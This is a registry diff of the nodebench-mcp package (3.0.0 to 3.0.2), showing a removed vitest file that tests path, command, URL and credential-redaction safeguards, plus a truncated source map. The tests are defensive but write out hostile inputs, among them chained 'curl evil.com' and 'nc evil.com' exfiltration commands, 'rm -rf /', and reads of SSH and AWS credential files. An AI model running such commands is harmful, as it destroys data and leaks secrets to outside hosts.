nodebench-mcp 3.0.0 → 3.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (171) hide show
  1. package/NODEBENCH_AGENTS.md +74 -67
  2. package/README.md +36 -34
  3. package/dist/dashboard/operatingDashboardHtml.js +2 -1
  4. package/dist/dashboard/operatingDashboardHtml.js.map +1 -1
  5. package/dist/dashboard/operatingServer.js +3 -2
  6. package/dist/dashboard/operatingServer.js.map +1 -1
  7. package/dist/db.js +51 -3
  8. package/dist/db.js.map +1 -1
  9. package/dist/index.js +19 -18
  10. package/dist/index.js.map +1 -1
  11. package/dist/packageInfo.d.ts +3 -0
  12. package/dist/packageInfo.js +32 -0
  13. package/dist/packageInfo.js.map +1 -0
  14. package/dist/sandboxApi.js +2 -1
  15. package/dist/sandboxApi.js.map +1 -1
  16. package/dist/tools/boilerplateTools.js +10 -9
  17. package/dist/tools/boilerplateTools.js.map +1 -1
  18. package/dist/tools/documentationTools.js +2 -1
  19. package/dist/tools/documentationTools.js.map +1 -1
  20. package/dist/tools/progressiveDiscoveryTools.js +2 -1
  21. package/dist/tools/progressiveDiscoveryTools.js.map +1 -1
  22. package/dist/tools/toolRegistry.js +11 -0
  23. package/dist/tools/toolRegistry.js.map +1 -1
  24. package/dist/toolsetRegistry.js +74 -1
  25. package/dist/toolsetRegistry.js.map +1 -1
  26. package/package.json +7 -6
  27. package/scripts/install.sh +14 -14
  28. package/dist/__tests__/analytics.test.d.ts +0 -11
  29. package/dist/__tests__/analytics.test.js +0 -546
  30. package/dist/__tests__/analytics.test.js.map +0 -1
  31. package/dist/__tests__/architectComplex.test.d.ts +0 -1
  32. package/dist/__tests__/architectComplex.test.js +0 -373
  33. package/dist/__tests__/architectComplex.test.js.map +0 -1
  34. package/dist/__tests__/architectSmoke.test.d.ts +0 -1
  35. package/dist/__tests__/architectSmoke.test.js +0 -92
  36. package/dist/__tests__/architectSmoke.test.js.map +0 -1
  37. package/dist/__tests__/audit-registry.d.ts +0 -1
  38. package/dist/__tests__/audit-registry.js +0 -60
  39. package/dist/__tests__/audit-registry.js.map +0 -1
  40. package/dist/__tests__/batchAutopilot.test.d.ts +0 -8
  41. package/dist/__tests__/batchAutopilot.test.js +0 -218
  42. package/dist/__tests__/batchAutopilot.test.js.map +0 -1
  43. package/dist/__tests__/cliSubcommands.test.d.ts +0 -1
  44. package/dist/__tests__/cliSubcommands.test.js +0 -138
  45. package/dist/__tests__/cliSubcommands.test.js.map +0 -1
  46. package/dist/__tests__/comparativeBench.test.d.ts +0 -1
  47. package/dist/__tests__/comparativeBench.test.js +0 -722
  48. package/dist/__tests__/comparativeBench.test.js.map +0 -1
  49. package/dist/__tests__/critterCalibrationEval.d.ts +0 -8
  50. package/dist/__tests__/critterCalibrationEval.js +0 -370
  51. package/dist/__tests__/critterCalibrationEval.js.map +0 -1
  52. package/dist/__tests__/dynamicLoading.test.d.ts +0 -1
  53. package/dist/__tests__/dynamicLoading.test.js +0 -280
  54. package/dist/__tests__/dynamicLoading.test.js.map +0 -1
  55. package/dist/__tests__/embeddingProvider.test.d.ts +0 -1
  56. package/dist/__tests__/embeddingProvider.test.js +0 -86
  57. package/dist/__tests__/embeddingProvider.test.js.map +0 -1
  58. package/dist/__tests__/evalDatasetBench.test.d.ts +0 -1
  59. package/dist/__tests__/evalDatasetBench.test.js +0 -738
  60. package/dist/__tests__/evalDatasetBench.test.js.map +0 -1
  61. package/dist/__tests__/evalHarness.test.d.ts +0 -1
  62. package/dist/__tests__/evalHarness.test.js +0 -1107
  63. package/dist/__tests__/evalHarness.test.js.map +0 -1
  64. package/dist/__tests__/fixtures/bfcl_v3_long_context.sample.json +0 -264
  65. package/dist/__tests__/fixtures/generateBfclLongContextFixture.d.ts +0 -10
  66. package/dist/__tests__/fixtures/generateBfclLongContextFixture.js +0 -135
  67. package/dist/__tests__/fixtures/generateBfclLongContextFixture.js.map +0 -1
  68. package/dist/__tests__/fixtures/generateSwebenchVerifiedFixture.d.ts +0 -14
  69. package/dist/__tests__/fixtures/generateSwebenchVerifiedFixture.js +0 -189
  70. package/dist/__tests__/fixtures/generateSwebenchVerifiedFixture.js.map +0 -1
  71. package/dist/__tests__/fixtures/generateToolbenchInstructionFixture.d.ts +0 -16
  72. package/dist/__tests__/fixtures/generateToolbenchInstructionFixture.js +0 -154
  73. package/dist/__tests__/fixtures/generateToolbenchInstructionFixture.js.map +0 -1
  74. package/dist/__tests__/fixtures/swebench_verified.sample.json +0 -162
  75. package/dist/__tests__/fixtures/toolbench_instruction.sample.json +0 -109
  76. package/dist/__tests__/forecastingDogfood.test.d.ts +0 -9
  77. package/dist/__tests__/forecastingDogfood.test.js +0 -284
  78. package/dist/__tests__/forecastingDogfood.test.js.map +0 -1
  79. package/dist/__tests__/forecastingScoring.test.d.ts +0 -9
  80. package/dist/__tests__/forecastingScoring.test.js +0 -202
  81. package/dist/__tests__/forecastingScoring.test.js.map +0 -1
  82. package/dist/__tests__/gaiaCapabilityAudioEval.test.d.ts +0 -15
  83. package/dist/__tests__/gaiaCapabilityAudioEval.test.js +0 -265
  84. package/dist/__tests__/gaiaCapabilityAudioEval.test.js.map +0 -1
  85. package/dist/__tests__/gaiaCapabilityEval.test.d.ts +0 -14
  86. package/dist/__tests__/gaiaCapabilityEval.test.js +0 -1259
  87. package/dist/__tests__/gaiaCapabilityEval.test.js.map +0 -1
  88. package/dist/__tests__/gaiaCapabilityFilesEval.test.d.ts +0 -15
  89. package/dist/__tests__/gaiaCapabilityFilesEval.test.js +0 -914
  90. package/dist/__tests__/gaiaCapabilityFilesEval.test.js.map +0 -1
  91. package/dist/__tests__/gaiaCapabilityMediaEval.test.d.ts +0 -15
  92. package/dist/__tests__/gaiaCapabilityMediaEval.test.js +0 -1101
  93. package/dist/__tests__/gaiaCapabilityMediaEval.test.js.map +0 -1
  94. package/dist/__tests__/helpers/answerMatch.d.ts +0 -41
  95. package/dist/__tests__/helpers/answerMatch.js +0 -267
  96. package/dist/__tests__/helpers/answerMatch.js.map +0 -1
  97. package/dist/__tests__/helpers/textLlm.d.ts +0 -25
  98. package/dist/__tests__/helpers/textLlm.js +0 -214
  99. package/dist/__tests__/helpers/textLlm.js.map +0 -1
  100. package/dist/__tests__/localDashboard.test.d.ts +0 -1
  101. package/dist/__tests__/localDashboard.test.js +0 -226
  102. package/dist/__tests__/localDashboard.test.js.map +0 -1
  103. package/dist/__tests__/multiHopDogfood.test.d.ts +0 -12
  104. package/dist/__tests__/multiHopDogfood.test.js +0 -303
  105. package/dist/__tests__/multiHopDogfood.test.js.map +0 -1
  106. package/dist/__tests__/openDatasetParallelEval.test.d.ts +0 -7
  107. package/dist/__tests__/openDatasetParallelEval.test.js +0 -209
  108. package/dist/__tests__/openDatasetParallelEval.test.js.map +0 -1
  109. package/dist/__tests__/openDatasetParallelEvalGaia.test.d.ts +0 -7
  110. package/dist/__tests__/openDatasetParallelEvalGaia.test.js +0 -279
  111. package/dist/__tests__/openDatasetParallelEvalGaia.test.js.map +0 -1
  112. package/dist/__tests__/openDatasetParallelEvalSwebench.test.d.ts +0 -7
  113. package/dist/__tests__/openDatasetParallelEvalSwebench.test.js +0 -220
  114. package/dist/__tests__/openDatasetParallelEvalSwebench.test.js.map +0 -1
  115. package/dist/__tests__/openDatasetParallelEvalToolbench.test.d.ts +0 -7
  116. package/dist/__tests__/openDatasetParallelEvalToolbench.test.js +0 -218
  117. package/dist/__tests__/openDatasetParallelEvalToolbench.test.js.map +0 -1
  118. package/dist/__tests__/openDatasetPerfComparison.test.d.ts +0 -10
  119. package/dist/__tests__/openDatasetPerfComparison.test.js +0 -318
  120. package/dist/__tests__/openDatasetPerfComparison.test.js.map +0 -1
  121. package/dist/__tests__/openclawDogfood.test.d.ts +0 -23
  122. package/dist/__tests__/openclawDogfood.test.js +0 -535
  123. package/dist/__tests__/openclawDogfood.test.js.map +0 -1
  124. package/dist/__tests__/openclawMessaging.test.d.ts +0 -14
  125. package/dist/__tests__/openclawMessaging.test.js +0 -232
  126. package/dist/__tests__/openclawMessaging.test.js.map +0 -1
  127. package/dist/__tests__/presetRealWorldBench.test.d.ts +0 -1
  128. package/dist/__tests__/presetRealWorldBench.test.js +0 -859
  129. package/dist/__tests__/presetRealWorldBench.test.js.map +0 -1
  130. package/dist/__tests__/tools.test.d.ts +0 -1
  131. package/dist/__tests__/tools.test.js +0 -3201
  132. package/dist/__tests__/tools.test.js.map +0 -1
  133. package/dist/__tests__/toolsetGatingEval.test.d.ts +0 -1
  134. package/dist/__tests__/toolsetGatingEval.test.js +0 -1099
  135. package/dist/__tests__/toolsetGatingEval.test.js.map +0 -1
  136. package/dist/__tests__/traceabilityDogfood.test.d.ts +0 -12
  137. package/dist/__tests__/traceabilityDogfood.test.js +0 -241
  138. package/dist/__tests__/traceabilityDogfood.test.js.map +0 -1
  139. package/dist/__tests__/webmcpTools.test.d.ts +0 -7
  140. package/dist/__tests__/webmcpTools.test.js +0 -195
  141. package/dist/__tests__/webmcpTools.test.js.map +0 -1
  142. package/dist/benchmarks/testProviderBus.d.ts +0 -7
  143. package/dist/benchmarks/testProviderBus.js +0 -272
  144. package/dist/benchmarks/testProviderBus.js.map +0 -1
  145. package/dist/hooks/postCompaction.d.ts +0 -14
  146. package/dist/hooks/postCompaction.js +0 -51
  147. package/dist/hooks/postCompaction.js.map +0 -1
  148. package/dist/security/__tests__/security.test.d.ts +0 -8
  149. package/dist/security/__tests__/security.test.js +0 -295
  150. package/dist/security/__tests__/security.test.js.map +0 -1
  151. package/dist/sync/hyperloopEval.test.d.ts +0 -4
  152. package/dist/sync/hyperloopEval.test.js +0 -60
  153. package/dist/sync/hyperloopEval.test.js.map +0 -1
  154. package/dist/sync/store.test.d.ts +0 -4
  155. package/dist/sync/store.test.js +0 -43
  156. package/dist/sync/store.test.js.map +0 -1
  157. package/dist/tools/documentTools.d.ts +0 -5
  158. package/dist/tools/documentTools.js +0 -524
  159. package/dist/tools/documentTools.js.map +0 -1
  160. package/dist/tools/financialTools.d.ts +0 -10
  161. package/dist/tools/financialTools.js +0 -403
  162. package/dist/tools/financialTools.js.map +0 -1
  163. package/dist/tools/memoryTools.d.ts +0 -5
  164. package/dist/tools/memoryTools.js +0 -137
  165. package/dist/tools/memoryTools.js.map +0 -1
  166. package/dist/tools/planningTools.d.ts +0 -5
  167. package/dist/tools/planningTools.js +0 -147
  168. package/dist/tools/planningTools.js.map +0 -1
  169. package/dist/tools/searchTools.d.ts +0 -5
  170. package/dist/tools/searchTools.js +0 -145
  171. package/dist/tools/searchTools.js.map +0 -1
@@ -1,295 +0,0 @@
1
- /**
2
- * Security module tests — scenario-based, covering all 4 layers.
3
- *
4
- * Personas:
5
- * - Mallory: Attacker trying to exfiltrate credentials via MCP tools
6
- * - Alice: Legitimate user running builds, tests, git commands
7
- */
8
- import { describe, it, expect, beforeEach } from "vitest";
9
- import { safePath } from "../pathSandbox.js";
10
- import { safeExec } from "../commandSandbox.js";
11
- import { safeUrl } from "../urlValidator.js";
12
- import { redactSecrets, _resetEnvSecretsForTesting } from "../credentialRedactor.js";
13
- import { SecurityError } from "../SecurityError.js";
14
- import { setSecurityConfig, _resetSecurityConfigForTesting, } from "../config.js";
15
- import * as os from "node:os";
16
- import * as path from "node:path";
17
- // ─── Setup ────────────────────────────────────────────────────────────────────
18
- beforeEach(() => {
19
- _resetSecurityConfigForTesting();
20
- _resetEnvSecretsForTesting();
21
- setSecurityConfig({ mode: "strict", allowedRoots: [process.cwd()] });
22
- });
23
- // ═══════════════════════════════════════════════════════════════════════════════
24
- // PATH SANDBOXING
25
- // ═══════════════════════════════════════════════════════════════════════════════
26
- describe("pathSandbox — Mallory tries to read secrets", () => {
27
- it("blocks ~/.ssh/id_rsa (SSH private key theft)", () => {
28
- expect(() => safePath("~/.ssh/id_rsa")).toThrow(SecurityError);
29
- expect(() => safePath("~/.ssh/id_rsa")).toThrow("PATH_SENSITIVE");
30
- });
31
- it("blocks ~/.aws/credentials (AWS key theft)", () => {
32
- expect(() => safePath("~/.aws/credentials")).toThrow(SecurityError);
33
- });
34
- it("blocks ~/.ethereum/keystore (wallet seed theft)", () => {
35
- expect(() => safePath("~/.ethereum/keystore/key.json")).toThrow(SecurityError);
36
- });
37
- it("blocks .env files regardless of location", () => {
38
- expect(() => safePath(".env")).toThrow(SecurityError);
39
- expect(() => safePath(".env.production")).toThrow(SecurityError);
40
- expect(() => safePath(".env.local")).toThrow(SecurityError);
41
- });
42
- it("blocks path traversal to parent directories", () => {
43
- expect(() => safePath("../../../../etc/passwd")).toThrow(SecurityError);
44
- });
45
- it("blocks absolute paths outside cwd", () => {
46
- const outsidePath = path.join(os.homedir(), "Desktop", "secrets.txt");
47
- expect(() => safePath(outsidePath)).toThrow(SecurityError);
48
- });
49
- it("blocks ~/.gnupg (GPG key theft)", () => {
50
- expect(() => safePath("~/.gnupg/private-keys-v1.d")).toThrow(SecurityError);
51
- });
52
- it("blocks wallet seed files by pattern", () => {
53
- expect(() => safePath("seed_phrase.txt")).toThrow(SecurityError);
54
- expect(() => safePath("mnemonic.json")).toThrow(SecurityError);
55
- expect(() => safePath("private_key.json")).toThrow(SecurityError);
56
- });
57
- });
58
- describe("pathSandbox — Alice uses legitimate file operations", () => {
59
- it("allows reading files within cwd", () => {
60
- const result = safePath("package.json");
61
- expect(result).toBe(path.resolve(process.cwd(), "package.json"));
62
- });
63
- it("allows reading nested files within cwd", () => {
64
- const result = safePath("src/index.ts");
65
- expect(result).toBe(path.resolve(process.cwd(), "src/index.ts"));
66
- });
67
- it("allows home directory access when explicitly opted in", () => {
68
- const result = safePath("~/Documents/notes.txt", { allowHome: true });
69
- expect(result).toBe(path.join(os.homedir(), "Documents", "notes.txt"));
70
- });
71
- it("allows temp directory when opted in", () => {
72
- const tmpFile = path.join(os.tmpdir(), "test.txt");
73
- const result = safePath(tmpFile, { allowTemp: true });
74
- expect(result).toBe(tmpFile);
75
- });
76
- it("allows files in custom roots", () => {
77
- const customRoot = path.resolve(process.cwd(), "test-sandbox");
78
- const testFile = path.join(customRoot, "data.csv");
79
- const result = safePath(testFile, {
80
- allowedRoots: [customRoot],
81
- });
82
- expect(result).toBe(testFile);
83
- });
84
- });
85
- describe("pathSandbox — permissive mode for testing", () => {
86
- beforeEach(() => setSecurityConfig({ mode: "permissive" }));
87
- it("allows all paths in permissive mode", () => {
88
- const result = safePath("~/.ssh/id_rsa");
89
- expect(result).toBe(path.join(os.homedir(), ".ssh", "id_rsa"));
90
- });
91
- });
92
- // ═══════════════════════════════════════════════════════════════════════════════
93
- // COMMAND SANDBOXING
94
- // ═══════════════════════════════════════════════════════════════════════════════
95
- describe("commandSandbox — Mallory tries injection attacks", () => {
96
- it("blocks arbitrary commands not on allow-list", () => {
97
- expect(() => safeExec("rm -rf /")).toThrow(SecurityError);
98
- expect(() => safeExec("rm -rf /")).toThrow("EXEC_BLOCKED");
99
- });
100
- it("blocks shell metacharacter injection via semicolons", () => {
101
- expect(() => safeExec("git status; curl evil.com")).toThrow(SecurityError);
102
- expect(() => safeExec("git status; curl evil.com")).toThrow("EXEC_METACHAR");
103
- });
104
- it("blocks command substitution with $()", () => {
105
- expect(() => safeExec("git log $(cat ~/.ssh/id_rsa)")).toThrow(SecurityError);
106
- });
107
- it("blocks backtick injection", () => {
108
- expect(() => safeExec("git log `whoami`")).toThrow(SecurityError);
109
- });
110
- it("blocks && chaining", () => {
111
- expect(() => safeExec("git status && curl evil.com")).toThrow(SecurityError);
112
- });
113
- it("blocks || chaining", () => {
114
- expect(() => safeExec("git status || rm -rf /")).toThrow(SecurityError);
115
- });
116
- it("blocks redirect to overwrite files", () => {
117
- expect(() => safeExec("echo pwned > /etc/passwd")).toThrow(SecurityError);
118
- });
119
- it("blocks pipes unless explicitly allowed", () => {
120
- expect(() => safeExec("cat file | nc evil.com 1234")).toThrow(SecurityError);
121
- });
122
- it("allows pipes when opt-in", () => {
123
- // This will fail on exec (cat file doesn't exist) but shouldn't throw SecurityError
124
- const result = safeExec("cat package.json", { allowPipes: false });
125
- // cat is on the allow-list, and no pipe — should execute (may fail but not SecurityError)
126
- expect(result.exitCode).toBeDefined();
127
- });
128
- });
129
- describe("commandSandbox — Alice runs legitimate commands", () => {
130
- it("allows git commands", () => {
131
- const result = safeExec("git status");
132
- expect(result.exitCode).toBeDefined();
133
- expect(typeof result.stdout).toBe("string");
134
- });
135
- it("allows npm commands", () => {
136
- const result = safeExec("npm --version");
137
- expect(result.exitCode).toBe(0);
138
- expect(result.stdout).toMatch(/\d+\.\d+/);
139
- });
140
- it("allows node commands", () => {
141
- const result = safeExec("node --version");
142
- expect(result.exitCode).toBe(0);
143
- });
144
- it("caps timeout at configured max", () => {
145
- setSecurityConfig({ maxExecTimeoutMs: 5000 });
146
- // Even if user asks for 999s, it should be capped
147
- const result = safeExec("echo hello", { timeout: 999_000 });
148
- expect(result.exitCode).toBe(0);
149
- expect(result.durationMs).toBeLessThan(5000);
150
- });
151
- it("allows ls/dir for directory listing", () => {
152
- const cmd = process.platform === "win32" ? "dir" : "ls";
153
- const result = safeExec(cmd);
154
- expect(result.exitCode).toBeDefined();
155
- });
156
- });
157
- // ═══════════════════════════════════════════════════════════════════════════════
158
- // URL VALIDATION
159
- // ═══════════════════════════════════════════════════════════════════════════════
160
- describe("urlValidator — Mallory tries SSRF attacks", () => {
161
- it("blocks file:// scheme", () => {
162
- expect(() => safeUrl("file:///etc/passwd")).toThrow(SecurityError);
163
- expect(() => safeUrl("file:///etc/passwd")).toThrow("URL_BAD_SCHEME");
164
- });
165
- it("blocks gopher:// scheme", () => {
166
- expect(() => safeUrl("gopher://localhost:27017")).toThrow(SecurityError);
167
- });
168
- it("blocks AWS metadata endpoint (169.254.169.254)", () => {
169
- expect(() => safeUrl("http://169.254.169.254/latest/meta-data/")).toThrow(SecurityError);
170
- expect(() => safeUrl("http://169.254.169.254/latest/meta-data/")).toThrow("URL_PRIVATE_IP");
171
- });
172
- it("blocks localhost", () => {
173
- expect(() => safeUrl("http://localhost:8080/admin")).toThrow(SecurityError);
174
- });
175
- it("blocks private IPs (10.x)", () => {
176
- expect(() => safeUrl("http://10.0.0.1/internal")).toThrow(SecurityError);
177
- });
178
- it("blocks private IPs (192.168.x)", () => {
179
- expect(() => safeUrl("http://192.168.1.1/router")).toThrow(SecurityError);
180
- });
181
- it("blocks private IPs (172.16-31.x)", () => {
182
- expect(() => safeUrl("http://172.16.0.1/internal")).toThrow(SecurityError);
183
- });
184
- it("blocks Google Cloud metadata", () => {
185
- expect(() => safeUrl("http://metadata.google.internal/computeMetadata/v1/")).toThrow(SecurityError);
186
- });
187
- it("blocks 127.0.0.1", () => {
188
- expect(() => safeUrl("http://127.0.0.1:6276/admin")).toThrow(SecurityError);
189
- });
190
- });
191
- describe("urlValidator — Alice fetches public URLs", () => {
192
- it("allows https://", () => {
193
- const result = safeUrl("https://api.github.com/repos/test");
194
- expect(result).toBe("https://api.github.com/repos/test");
195
- });
196
- it("allows http:// to public IPs", () => {
197
- const result = safeUrl("http://example.com/data.json");
198
- expect(result).toBe("http://example.com/data.json");
199
- });
200
- it("allows private IPs when explicitly opted in (internal services)", () => {
201
- const result = safeUrl("http://localhost:8006/health", { allowPrivate: true });
202
- expect(result).toBe("http://localhost:8006/health");
203
- });
204
- });
205
- // ═══════════════════════════════════════════════════════════════════════════════
206
- // CREDENTIAL REDACTION
207
- // ═══════════════════════════════════════════════════════════════════════════════
208
- describe("credentialRedactor — prevents secret leaks in tool outputs", () => {
209
- it("redacts OpenAI API keys", () => {
210
- const output = 'Using key: sk-abcdefghijklmnopqrstuvwxyz1234567890';
211
- const result = redactSecrets(output);
212
- expect(result).toContain("[REDACTED:OPENAI_KEY]");
213
- expect(result).not.toContain("sk-abcdefghijklmnop");
214
- });
215
- it("redacts GitHub PATs", () => {
216
- const output = "token: ghp_abcdefghijklmnopqrstuvwxyz1234567890";
217
- const result = redactSecrets(output);
218
- expect(result).toContain("[REDACTED:GITHUB_PAT]");
219
- });
220
- it("redacts AWS access keys", () => {
221
- const output = "AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE";
222
- const result = redactSecrets(output);
223
- expect(result).toContain("[REDACTED:AWS_ACCESS_KEY]");
224
- });
225
- it("redacts private key headers", () => {
226
- const output = "-----BEGIN RSA PRIVATE KEY-----\nMIIEpAIB...";
227
- const result = redactSecrets(output);
228
- expect(result).toContain("[REDACTED:PRIVATE_KEY]");
229
- });
230
- it("redacts npm tokens", () => {
231
- const output = "//registry.npmjs.org/:_authToken=npm_abcdefghijklmnopqrstuvwxyz1234567890";
232
- const result = redactSecrets(output);
233
- expect(result).toContain("[REDACTED:NPM_TOKEN]");
234
- });
235
- it("redacts Google API keys", () => {
236
- const output = "key=AIzaSyBcdefghijklmnopqrstuvwxyz12345678";
237
- const result = redactSecrets(output);
238
- expect(result).toContain("[REDACTED:GOOGLE_API_KEY]");
239
- });
240
- it("redacts Bearer tokens", () => {
241
- const output = "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.abc123";
242
- const result = redactSecrets(output);
243
- expect(result).toContain("[REDACTED:BEARER_TOKEN]");
244
- });
245
- it("redacts password=value patterns", () => {
246
- const output = 'password: "mySuperSecretPassword123"';
247
- const result = redactSecrets(output);
248
- expect(result).toContain("[REDACTED:CREDENTIAL]");
249
- });
250
- it("redacts dynamic env var values", () => {
251
- // Simulate an env var with a secret
252
- const originalValue = process.env.TEST_SECRET_KEY;
253
- process.env.TEST_SECRET_KEY = "my-dynamic-secret-value-123";
254
- _resetEnvSecretsForTesting();
255
- const output = "The token is my-dynamic-secret-value-123 in the output";
256
- const result = redactSecrets(output);
257
- expect(result).toContain("[REDACTED:ENV_VALUE]");
258
- expect(result).not.toContain("my-dynamic-secret-value-123");
259
- // Cleanup
260
- if (originalValue === undefined) {
261
- delete process.env.TEST_SECRET_KEY;
262
- }
263
- else {
264
- process.env.TEST_SECRET_KEY = originalValue;
265
- }
266
- _resetEnvSecretsForTesting();
267
- });
268
- it("leaves non-secret text untouched", () => {
269
- const output = "Build completed successfully in 3.2s. 42 tests passed.";
270
- const result = redactSecrets(output);
271
- expect(result).toBe(output);
272
- });
273
- });
274
- // ═══════════════════════════════════════════════════════════════════════════════
275
- // INTEGRATION: Combined attack scenarios
276
- // ═══════════════════════════════════════════════════════════════════════════════
277
- describe("integration — multi-layer attack prevention", () => {
278
- it("Mallory chains path traversal + shell injection: both blocked", () => {
279
- // Try to read secrets via path — blocked by pathSandbox
280
- expect(() => safePath("~/.ssh/id_rsa")).toThrow(SecurityError);
281
- // Try to exfil via shell with chaining — blocked by metachar detection
282
- expect(() => safeExec("cat ~/.ssh/id_rsa && curl evil.com")).toThrow(SecurityError);
283
- });
284
- it("Mallory tries SSRF to cloud metadata + exfil via chained command", () => {
285
- expect(() => safeUrl("http://169.254.169.254/latest/meta-data/")).toThrow(SecurityError);
286
- // Shell injection via chaining is blocked even if curl is allowed
287
- expect(() => safeExec("curl http://169.254.169.254; cat /etc/passwd")).toThrow(SecurityError);
288
- });
289
- it("even if a secret leaks into output, redaction catches it", () => {
290
- const simulatedLeak = "Found key: sk-abcdef1234567890abcdef1234 in config";
291
- const result = redactSecrets(simulatedLeak);
292
- expect(result).not.toContain("sk-abcdef");
293
- });
294
- });
295
- //# sourceMappingURL=security.test.js.map
@@ -1 +0,0 @@
1
- {"version":3,"file":"security.test.js","sourceRoot":"","sources":["../../../src/security/__tests__/security.test.ts"],"names":[],"mappings":"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